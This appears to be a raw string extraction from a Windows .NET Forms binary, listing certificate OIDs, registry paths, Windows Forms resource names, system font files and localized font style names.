1.3.6.1.5.5.7.3.3 1.3.14.3.2.26 2.16.840.1.101.3.4.2.1 1.2.840.113549.1.9.4 1.3.6.1.5.5.7.3.8 urn:schemas-microsoft-com:asm.v1 urn:schemas-microsoft-com:asm.v2 http://schemas.microsoft.com/windows/rel/2005/reldata urn:mpeg:mpeg21:2003:01-REL-R-NS http://schemas.microsoft.com/windows/pki/2005/Authenticode CN=dummy http://www.w3.org/2000/09/xmldsig#rsa-sha256 http://www.w3.org/2000/09/xmldsig#sha256 Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing State type name data metadata mimetype value resheader version resmimetype reader writer comment assembly alias System.Windows.Forms.ApplicationConfigurationSection DpiAwareness EnableWindowsFormsHighDpiAutoResizing ToolStrip.DisableHighDpiImprovements CheckedListBox.DisableHighDpiImprovements DataGridView.DisableHighDpiImprovements Form.DisableSinglePassScalingOfDpiForms DisableDpiChangedMessageHandling DisableDpiChangedHighDpiImprovements AnchorLayout.DisableHighDpiImprovements MonthCalendar.DisableHighDpiImprovements AnchorLayout.EnableHighDpiImprovementsV2 Software\Microsoft\.NETFramework\Security\TrustManager\PromptingLevel 1.2.840.10040.4.1 1.2.840.113549.1.1.1 System.Security.Cryptography.HashAlgorithmName System.Security.Cryptography.RSASignaturePadding System.Security.Cryptography.RSAEncryptionPadding System.Security.Cryptography.RSACng System.Security.Cryptography.DSACng EnableSystemEventsThreadAffinityCompatibility ieexec.exe DataDirectory abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ Version:1.0 StartHTML:00000097 EndHTML:{0} StartFragment:00000133 EndFragment:{1} Aero.msstyles Software\Microsoft\Internet Explorer\Settings Software\Microsoft\Internet Explorer\Main Anchor Color Anchor Color Visited Anchor Color Hover Switch.System.Windows.Forms.DontSupportReentrantFilterMessage Switch.System.Windows.Forms.DoNotSupportSelectAllShortcutInMultilineTextBox Switch.System.Windows.Forms.DoN Microsoft Sans Serif 1001 1000 Auto-Suggest Dropdown b4db1657-70d7-485e-8e3e-6fcb5a5c1802 42f85136-db7e-439c-85f1-e4075d135fc8 d57c7288-d4ad-4768-be02-9d969532d960 84bccd23-5fde-4cdb-aea4-af64b83d78ab 973510DB-7D7F-452B-8975-74A85828D354 43826D1E-E718-42EE-BC55-A1E261C37BFE B63EA76D-1F85-456F-A19C-48159EFA858B DC1C5A9C-E88A-4dde-A5A1-60F82A20AEF7 C0B4E2F3-BA21-4773-8DBA-335EC946EB8B AXAddInvalidEvent AXDuplicateControl1 AXEditProperties AXFontUnitNotPoint AXInvalidArgument AXInvalidMethodInvoke AXInvalidPropertyGet AXInvalidPropertySet AXMTAThread AXNoConnectionPoint AXNoConnectionPointContainer AXNoEventInterface AXNoLicenseToUse AXNoSinkAdvise AXNoSinkImplementation AXNoThreadInfo AXNoTopLevelContainerControl AXNohWnd AXNotImplemented AXOcxStateLoaded AXProperties AXSingleThreaded AXTopLevelSource AXUnknownError AXUnknownImage AXWindowlessControl AboutBoxDesc AccDGCollapse AccDGEdit AccDGExpand AccDGNavigate AccDGNavigateBack AccDGNewRow AccDGParentRow AccDGParentRows AccessibleActionCheck AccessibleActionClick AccessibleActionCollapse AccessibleActionExpand AccessibleActionPress AccessibleActionUncheck AccessibleObjectLiveRegionNotSupported AddDifferentThreads ApplicationCannotChangeApplicationExceptionMode ApplicationCannotChangeThreadExceptionMode ApplyCaption ArraysNotSameSize AutoCompleteFailure AutoCompleteFailureListItems AxInterfaceNotSupported BadDataSourceForComplexBinding BindingManagerBadIndex BindingNavigatorAddNewItemPropDescr BindingNavigatorAddNewItemText BindingNavigatorBindingSourcePropDescr BindingNavigatorCountItemFormat BindingNavigatorCountItemFormatPropDescr BindingNavigatorCountItemPropDescr BindingNavigatorCountItemTip BindingNavigatorDeleteItemPropDescr BindingNavigatorDeleteItemText BindingNavigatorMoveFirstItemPropDescr BindingNavigatorMoveFirstItemTe onMouseClickDescr NotifyIconMouseDoubleClickDescr NotifyIconOnBalloonTipClickedDescr NotifyIconOnBalloonTipClosedDescr NotifyIconOnBalloonTipShownDescr NotifyIconTextDescr NotifyIconVisDescr NumericUpDownAccelerationCollectionAtLeastOneEntryIsNull NumericUpDownAccelerationCompareException NumericUpDownDecimalPlacesDescr NumericUpDownHexadecimalDescr NumericUpDownIncrementDescr NumericUpDownLessThanZeroError NumericUpDownMaximumDescr NumericUpDownMinimumDescr NumericUpDownOnValueChangedDescr NumericUpDownThousandsSeparatorDescr NumericUpDownValueDescr OFDcheckFileExistsDescr OFDmultiSelectDescr OFDreadOnlyCheckedDescr OFDshowReadOnlyDescr OKCaption ObjectDisposed ObjectHasParent OnlyOneControl OperationRequiresIBindingList OperationRequiresIBindingListView OutOfMemory OwnerControlIsNotALiveRegion OwnsSelfOrOwner PBRSDocCommentPaneTitle PBRSErrorInvalidPropertyValue PBRSErrorTitle PBRSFormatExceptionMessage PBRSToolTipAlphabetic PBRSToolTipCategorized PBRSToolTipEvents PBRSToolTipProperties PBRSToolTipPropertyPages PDallowCurrentPageDescr PDallowPagesDescr PDallowPrintToFileDescr PDallowSelectionDescr PDcantShowWithoutPrinter PDdocumentDescr PDpageOutOfRange PDprintToFileDescr PDprinterSettingsDescr PDshowHelpDescr PDshowNetworkDescr PDuseEXDialog PSDallowMarginsDescr PSDallowOrientationDescr PSDallowPaperDescr PSDallowPrinterDescr PSDcantShowWithoutPage PSDenableMetricDescr PSDminMarginsDescr PSDpageSettingsDescr PSDprinterSettingsDescr PSDshowHelpDescr PSDshowNetworkDescr PaddingAllDescr PaddingBottomDescr PaddingLeftDescr PaddingRightDescr PaddingTopDescr PanelBorderStyleDescr PictureBoxBorderStyleDescr PictureBoxCancelAsyncDescr PictureBoxErrorImageDescr PictureBoxImageDescr PictureBoxImageLocationDescr PictureBoxInitialImageDescr PictureBoxLoad0Descr PictureBoxLoad1Descr PictureBoxLoadAsync0Descr PictureBoxLoadAsync1Descr PictureBoxLoadCompletedDescr PictureBoxLoadProgressChangedDescr Pictu ProgressBarMaximumDescr ProgressBarMinimumDescr ProgressBarPerformStepMarqueeException ProgressBarStepDescr ProgressBarStyleDescr ProgressBarValueDescr ProgressBarValueMarqueeException PropertyCategoryAppearance PropertyCategoryBehavior PropertyCategoryDDE PropertyCategoryData PropertyCategoryFont PropertyCategoryList PropertyCategoryMisc PropertyCategoryPosition PropertyCategoryScale PropertyCategoryText PropertyGridBadTabIndex PropertyGridCanShowCommandsDesc PropertyGridCanShowVisualStyleGlyphsDesc PropertyGridCategoryForeColorDesc PropertyGridCategorySplitterColorDesc PropertyGridCommandsActiveLinkColorDesc PropertyGridCommandsBackColorDesc PropertyGridCommandsBorderColorDesc PropertyGridCommandsDisabledLinkColorDesc PropertyGridCommandsForeColorDesc PropertyGridCommandsLinkColorDesc PropertyGridCommandsVisibleIfAvailable PropertyGridDefaultAccessibleName PropertyGridDisabledItemForeColorDesc PropertyGridDropDownButtonAccessibleName PropertyGridDropDownButtonComboBoxAccessibleName PropertyGridExceptionInfo PropertyGridExceptionWhilePaintingLabel PropertyGridHelpBackColorDesc PropertyGridHelpBorderColorDesc PropertyGridHelpForeColorDesc PropertyGridHelpVisibleDesc PropertyGridInternalNoProp PropertyGridInvalidGridEntry PropertyGridLargeButtonsDesc PropertyGridLineColorDesc PropertyGridNoBitmap PropertyGridPropertySortChangedDescr PropertyGridPropertySortDesc PropertyGridPropertyTabCollectionReadOnly PropertyGridPropertyTabchangedDescr PropertyGridPropertyValueChangedDescr PropertyGridPropertyValueSelectedFormat PropertyGridRemotedObject PropertyGridRemoveStaticTabs PropertyGridResetValue PropertyGridSelectedGridItemChangedDescr PropertyGridSelectedItemWithFocusBackColorDesc PropertyGridSelectedItemWithFocusForeColorDesc PropertyGridSelectedObjectDesc PropertyGridSelectedObjectsChangedDescr PropertyGridSet PropertyGridSetNull PropertyGridSetValue PropertyGridTabName PropertyGridTabScope PropertyGridTitle PropertyGridToolbarAccessibleName PropertyGridToolbarVisibleDesc PropertyGridViewBackColorDesc PropertyGridViewBorderColorDesc PropertyGridViewEditorCreatedInvalidObject PropertyGridViewForeColorDesc PropertyManagerPropDoesNotExist PropertyValueInvalidEntry RadioButtonAppearanceDescr RadioButtonAutoCheckDescr RadioButtonCheckAlignDescr RadioButtonCheckedDescr RadioButtonOnAppearanceChangedDescr RadioButtonOnCheckedChangedDescr RadioButtonOnStartPageChangedDescr RadioButtonOnTextAlignChangedDescr ReadonlyControlsCollection RegisterCFFailed RelatedListManagerChild ResXResourceWriterSaved RestartNotSupported RichControlLresult RichTextBoxAutoWordSelection RichTextBoxBulletIndent RichTextBoxCanRedoDescr RichTextBoxContentsResized RichTextBoxDetectURLs RichTextBoxEnableAutoDragDrop RichTextBoxHScroll RichTextBoxIMEChange RichTextBoxLinkClick RichTextBoxProtected RichTextBoxRTF RichTextBoxRedoActionNameDescr RichTextBoxRightMargin RichTextBoxScrollBars RichTextBoxSelAlignment RichTextBoxSelBackColor RichTextBoxSelBullet RichTextBoxSelChange RichTextBoxSelCharOffset RichTextBoxSelColor RichTextBoxSelFont RichTextBoxSelHangingIndent RichTextBoxSelIndent RichTextBoxSelMargin RichTextBoxSelProtected RichTextBoxSelRTF RichTextBoxSelRightIndent RichTextBoxSelTabs RichTextBoxSelText RichTextBoxSelTypeDescr RichTextBoxUndoActionNameDescr RichTextBoxVScroll RichTextBoxZoomFactor RichTextBox_IDCut RichTextBox_IDDelete RichTextBox_IDDragDrop RichTextBox_IDPaste RichTextBox_IDTyping RichTextBox_IDUnknown RichTextFindEndInvalid SafeTopLevelCaptionFormat SaveFileDialogCreatePrompt SaveFileDialogOverWritePrompt SaveTextError ScrollBarEnableDescr ScrollBarLargeChangeDescr ScrollBarMaximumDescr ScrollBarMinimumDescr ScrollBarOnScrollDescr ScrollBarSmallChangeDescr ScrollBarValueDescr ScrollBarVisibleDescr ScrollableControlHorizontalScrollDescr ScrollableControlRaiseMouseEnterLeaveEventsForScrollBarsDescr ScrollableControlVertic WebBrowserIsOfflineDescr WebBrowserIsWebBrowserContextMenuEnabledDescr WebBrowserNavigateAbsoluteUri WebBrowserNavigatedDescr WebBrowserNavigatingDescr WebBrowserNewWindowDescr WebBrowserNoCastToIWebBrowser2 WebBrowserObjectForScriptingComVisibleOnly WebBrowserProgressChangedDescr WebBrowserRightToLeftNotSupported WebBrowserScriptErrorsSuppressedDescr WebBrowserScrollBarsEnabledDescr WebBrowserSecurityLevelDescr WebBrowserStatusTextChangedDescr WebBrowserTextNotSupported WebBrowserUrlDescr WebBrowserUseWaitCursorNotSupported WebBrowserWebBrowserShortcutsEnabledDescr WidthGreaterThanMinWidth Win32WindowAlreadyCreated WindowsFormsSetEvent borderStyleDescr collectionChangedEventDescr collectionChangingEventDescr drawItemEventDescr measureItemEventDescr selectedIndexChangedEventDescr selectedIndexDescr selectionChangeCommittedEventDescr toStringAlt toStringBack toStringControl toStringDefault toStringDelete toStringEnd toStringEnter toStringHome toStringInsert toStringNone toStringPageDown toStringPageUp toStringShift valueChangedEventDescr 0123456789abcdef *ARIAL.TTF *ARIALI.TTF *ARIALBD.TTF *ARIALBI.TTF *ARIBLK.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *BAHNSCHRIFT.TTF *CALIBRIL.TTF *CALIBRILI.TTF *CALIBRI.TTF *CALIBRII.TTF *CALIBRIB.TTF *CALIBRIZ.TTF *CAMBRIA.TTC *CAMBRIAI.TTF *CAMBRIAB.TTF *CAMBRIAZ.TTF *CAMBRIA.TTC *CANDARAL.TTF *CANDARALI.TTF *CANDARA.TTF *CANDARAI.TTF *CANDARAB.TTF *CANDARAZ.TTF *COMIC.TTF *COMICI.TTF *COMICBD.TTF *COMICZ.TTF *CONSOLA.TTF *CONSOLAI.TTF *CONSOLAB.TTF *CONSOLAZ.TTF *CONSTAN.TTF *CONSTANI.TTF *CONSTANB.TTF *CONSTANZ.TTF *CORBELL.TTF *CORBELLI.TTF *CORBEL.TTF *CORBELI.TTF *CORBELB.TTF *CORBELZ.TTF *COUR.TTF *COURI.TTF *COURBD.TTF *COURBI.TTF *EBRIMA.TTF *EBRIMABD.TTF *FRAMD.TTF *FRAMDIT.TTF *GABRIOLA.TTF *GADUGI.TTF *GADUGIB.TTF *GEORGIA.TTF *GEORGIAI.TTF *GEORGIAB.TTF *GEORGIAZ.TTF *IMPACT.TTF *INKFREE.TTF *JAVATEXT.TTF *LEELUISL.TTF *LEELAWUI.TTF *LEELAUIB.TTF *LUCON.TTF *L_10646.TTF *MALGUNSL.TTF *MALGUN.TTF *MALGUNBD.TTF *HIMALAYA.TTF *MSJHL.TTC *MSJH.TTC *MSJHBD.TTC *MSJHL.TTC *MSJH.TTC *MSJHBD.TTC *NTAILU.TTF *NTAILUB.TTF *PHAGSPA.TTF *PHAGSPAB.TTF *MICROSS.TTF *TAILE.TTF *TAILEB.TTF *MSYHL.TTC *MSYH.TTC *MSYHBD.TTC *MSYHL.TTC *MSYH.TTC *MSYHBD.TTC *MSYI.TTF *MINGLIUB.TTC *MINGLIUB.TTC *MINGLIUB.TTC *MINGLIUB.TTC *MONBAITI.TTF *MSGOTHIC.TTC *MSGOTHIC.TTC *MSGOTHIC.TTC *MVBOLI.TTF *MMRTEXT.TTF *MMRTEXTB.TTF *NIRMALA.TTC *NIRMALA.TTC *NIRMALA.TTC *NIRMALA.TTC *NIRMALA.TTC *NIRMALA.TTC *PALA.TTF *PALAI.TTF *PALAB.TTF *PALABI.TTF *SANSSERIFCOLLECTION.TTF *SEGOEICONS.TTF *SEGMDL2.TTF *SEGOEPR.TTF *SEGOEPRB.TTF *SEGOESC.TTF *SEGOESCB.TTF *SEGOEUIL.TTF *SEGUILI.TTF *SEGOEUISL.TTF *SEGUISLI.TTF *SEGOEUI.TTF *SEGOEUII.TTF *SEGUISB.TTF *SEGUISBI.TTF *SEGOEUIB.TTF *SEGOEUIZ.TTF *SEGUIBL.TTF *SEGUIBLI.TTF *SEGUIEMJ.TTF *SEGUIHIS.TTF *SEGUISYM.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SEGUIVAR.TTF *SIMSUN.TTC *SIMSUN.TTC *SIMSUNB.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SITKAVF.TTF *SITKAVF-ITALIC.TTF *SYLFAEN.TTF *SYMBOL.TTF *TAHOMA.TTF *TAHOMABD.TTF *TIMES.TTF *TIMESI.TTF *TIMESBD.TTF *TIMESBI.TTF *TREBUC.TTF *TREBUCIT.TTF *TREBUCBD.TTF *TREBUCBI.TTF *VERDANA.TTF *VERDANAI.TTF *VERDANAB.TTF *VERDANAZ.TTF *WEBDINGS.TTF *WINGDING.TTF *YUGOTHL.TTC *YUGOTHR.TTC *YUGOTHM.TTC *YUGOTHB.TTC *YUGOTHL.TTC *YUGOTHR.TTC *YUGOTHM.TTC *YUGOTHB.TTC *YUGOTHB.TTC *SIMSUNEXTG.TTF *MARLETT.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONO.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF 4__8WEKYB3D8BBWE\CASCADIAMONO.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIAMONOITALIC.TTF C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODEITALIC.TTF en-us Arial ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr vi-vn ArialMT Armn Cyrl Grek Latn Arab Hebr Cursiva kurz kursiv Kursiv Italic Etzana Kursivoitu Italique Corsivo Cursief Kursywa lico Kurz evno talik nghi Arial Cursiva Arial kurz Arial kursiv Arial Kursiv Arial Arial Italic Arial Etzana Arial Kursivoitu Arial Italique Arial D Arial Corsivo Arial Cursief Arial Kursywa Arial It lico Arial Arial Kurz Arial Po evno Arial talik Arial nghi Arial-ItalicMT Negreta Fett Bold Negrita Lodia Lihavoitu Gras Grassetto Halvfet Pogrubiony Negrito Krepko Arial Negreta Arial tu Arial fed Arial Fett Arial Arial Bold Arial Negrita Arial Lodia Arial Lihavoitu Arial Gras Arial F Arial Grassetto Arial Halvfet Arial Vet Arial Pogrubiony Arial Negrito Arial Arial Tu Arial Krepko Arial Fet Arial Kal Arial Arial-BoldMT Negreta cursiva kurz fed kursiv Fett Kursiv Bold Italic Negrita Cursiva Lodi etzana Lihavoitu Kursivoi Gras Italique Grassetto Corsivo Halvfet Kursiv Vet Cursief Pogrubiona kursywa Negrito It lico kurz Krepko po evno Fet Kursiv talik nghi Arial Negreta cursiva Arial tu kurz Arial fed kursiv Arial Fett Kursiv Arial Arial Bold Italic Arial Negrita Cursiva Arial Lodi etzana Arial Lihavoitu Kursivoi Arial Gras Italique Arial F Arial Grassetto Corsivo Arial Halvfet Kursiv Arial Vet Cursief Arial Pogrubiona kursywa Arial Negrito It lico Arial Arial Tu kurz Arial Krepko po evno Arial Fet Kursiv Arial Kal talik Arial nghi Arial-BoldItalicMT Black Arial Black Normal Arial Black oby Arial Black normal Arial Black Standard Arial Black Arial Black Arial Black Arrunta Arial Black Normaali Arial Black Norm Arial Black Normale Arial Black Standaard Arial Black Normalny Arial Black Arial Black Norm Arial Black Navadno Arial-Black Bahnschrift Light Bahnschrift Light Bahnschrift-Light vi-Latn mk-Cyrl bg-Cyrl sr-Cyrl Light Condensed Bahnschrift Light Condensed Bahnschrift-Light-Condensed Light SemiCondensed Bahnschrift Light SemiCondensed Bahnschrift-Light-SemiCondensed SemiLight Bahnschrift SemiLight Bahnschrift-SemiLight SemiLight Condensed Bahnschrift SemiLight Condensed Bahnschrift-SemiLight-Condensed SemiLight SemiCondensed Bahnschrift SemiLight SemiCondensed Bahnschrift-SemiLight-SemiCondensed Condensed Bahnschrift Condensed Bahnschrift-Condensed SemiCondensed Bahnschrift SemiCondensed Bahnschrift-SemiCondensed SemiBold Bahnschrift SemiBold Bahnschrift-SemiBold SemiBold Condensed Bahnschrift SemiBold Condensed Bahnschrift-SemiBold-Condensed SemiBold SemiCondensed Bahnschrift SemiBold SemiCondensed Bahnschrift-SemiBold-SemiCondensed Bahnschrift Bold Bahnschrift-Bold Bold Condensed Bahnschrift Bold Condensed Bahnschrift-Bold-Condensed Bold SemiCondensed Bahnschrift Bold SemiCondensed Bahnschrift-Bold-SemiCondensed Calibri Calibri Light Calibri-Light Geok Geor Light Italic Calibri Light Italic Calibri-LightItalic Calibri Italic Calibri-Italic Calibri Bold Calibri-Bold Calibri Bold Italic Calibri-BoldItalic Cambria Cambria Italic Cambria-Italic Cambria Bold Cambria-Bold Cambria Bold Italic Cambria-BoldItalic Cambria Math CambriaMath Candara Candara Light Candara-Light Candara Light Italic Candara-LightItalic Candara Italic Candara-Italic Candara Bold Candara-Bold Candara Bold Italic Candara-BoldItalic Comic Sans MS ComicSansMS Comic Sans MS Cursiva Comic Sans MS kurz Comic Sans MS kursiv Comic Sans MS Kursiv Comic Sans MS Comic Sans MS Italic Comic Sans MS Etzana Comic Sans MS Kursivoitu Comic Sans MS Italique Comic Sans MS D Comic Sans MS Corsivo Comic Sans MS Cursief Comic Sans MS Kursywa Comic Sans MS It lico Comic Sans MS Comic Sans MS Kurz Comic Sans MS Po evno Comic Sans MS talik Comic Sans MS nghi ComicSansMS-Italic Comic Sans MS Negreta Comic Sans MS tu Comic Sans MS fed Comic Sans MS Fett Comic Sans MS Comic Sans MS Bold Comic Sans MS Negrita Comic Sans MS Lodia Comic Sans MS Lihavoitu Comic Sans MS Gras Comic Sans MS F Comic Sans MS Grassetto Comic Sans MS Halvfet Comic Sans MS Vet Comic Sans MS Pogrubiony Comic Sans MS Negrito Comic Sans MS Comic Sans MS Tu Comic Sans MS Krepko Comic Sans MS Fet Comic Sans MS Kal ComicSansMS-Bold Comic Sans MS Negreta cursiva Comic Sans MS tu kurz Comic Sans MS fed kursiv Comic Sans MS Fett Kursiv Comic Sans MS Comic Sans MS Bold Italic Comic Sans MS Negrita Cursiva Comic Sans MS Lodi etzana Comic Sans MS Lihavoitu Kursivoi Comic Sans MS Gras Italique Comic Sans MS F Comic Sans MS Grassetto Corsivo Comic Sans MS Halvfet Kursiv Comic Sans MS Vet Cursief Comic Sans MS Pogrubiona kursywa Comic Sans MS Negrito It lico Comic Sans MS Comic Sans MS Tu kurz Comic Sans MS Krepko po evno Comic Sans MS Fet Kursiv Comic Sans MS Kal talik Comic Sans MS nghi ComicSansMS-BoldItalic Consolas Consolas Italic Consolas-Italic Consolas Bold Consolas-Bold Consolas Bold Italic Consolas-BoldItalic Constantia Constantia Italic Constantia-Italic Constantia Bold Constantia-Bold Constantia Bold Italic Constantia-BoldItalic Corbel Corbel Light CorbelLight Corbel Light Italic CorbelLight-Italic Corbel Italic Corbel-Italic Corbel Bold Corbel-Bold Corbel Bold Italic Corbel-BoldItalic Courier New CourierNewPSMT Aran Copt Courier New Cursiva Courier New kurz Courier New kursiv Courier New Kursiv Courier New Courier New Italic Courier New Etzana Courier New Kursivoitu Courier New Italique Courier New D Courier New Corsivo Courier New Cursief Courier New Kursywa Courier New It lico Courier New Courier New Kurz Courier New Po evno Courier New talik Courier New nghi CourierNewPS-ItalicMT Courier New Negreta Courier New tu Courier New fed Courier New Fett Courier New Courier New Bold Courier New Negrita Courier New Lodia Courier New Lihavoitu Courier New Gras Courier New F Courier New Grassetto Courier New Halvfet Courier New Vet Courier New Pogrubiony Courier New Negrito Courier New Courier New Tu Courier New Krepko Courier New Fet Courier New Kal Courier New CourierNewPS-BoldMT m nghi Courier New Negreta cursiva Courier New tu kurz Courier New fed kursiv Courier New Fett Kursiv Courier New Courier New Bold Italic Courier New Negrita Cursiva Courier New Lodi etzana Courier New Lihavoitu Kursivoi Courier New Gras Italique Courier New F Courier New Grassetto Corsivo Courier New Halvfet Kursiv Courier New Vet Cursief Courier New Pogrubiona kursywa Courier New Negrito It lico Courier New Courier New Tu kurz Courier New Krepko po evno Courier New Fet Kursiv Courier New Kal talik Courier New m nghi CourierNewPS-BoldItalicMT Ebrima Adlm Bamu Ethi Nkoo Osma Tfng Vaii Ebrima Negreta Ebrima tu Ebrima fed Ebrima Fett Ebrima Ebrima Bold Ebrima Negrita Ebrima Lodia Ebrima Lihavoitu Ebrima Gras Ebrima F Ebrima Grassetto Ebrima Halvfet Ebrima Vet Ebrima Pogrubiony Ebrima Negrito Ebrima Ebrima Tu Ebrima Krepko Ebrima Fet Ebrima Kal Ebrima-Bold Franklin Gothic Medium Franklin Gothic Medium FranklinGothic-Medium Medium Italic Franklin Gothic Medium Cursiva Franklin Gothic Medium kurz Franklin Gothic Medium kursiv Franklin Gothic Medium Kursiv Franklin Gothic Medium Franklin Gothic Medium Italic Franklin Gothic Medium Etzana Franklin Gothic Medium Kursivoitu Franklin Gothic Medium Italique Franklin Gothic Medium D Franklin Gothic Medium Corsivo Franklin Gothic Medium Cursief Franklin Gothic Medium Kursywa Franklin Gothic Medium It lico Franklin Gothic Medium Franklin Gothic Medium Kurz Franklin Gothic Medium Po evno Franklin Gothic Medium talik FranklinGothic-MediumItalic Gabriola Gadugi Cher Cans Osge Gadugi Negreta Gadugi tu Gadugi fed Gadugi Fett Gadugi Gadugi Bold Gadugi Negrita Gadugi Lodia Gadugi Lihavoitu Gadugi Gras Gadugi F Gadugi Grassetto Gadugi Halvfet Gadugi Vet Gadugi Pogrubiony Gadugi Negrito Gadugi Gadugi Tu Gadugi Krepko Gadugi Fet Gadugi Kal Gadugi-Bold Georgia Georgia Cursiva Georgia kurz Georgia kursiv Georgia Kursiv Georgia Georgia Italic Georgia Etzana Georgia Kursivoitu Georgia Italique Georgia D Georgia Corsivo Georgia Cursief Georgia Kursywa 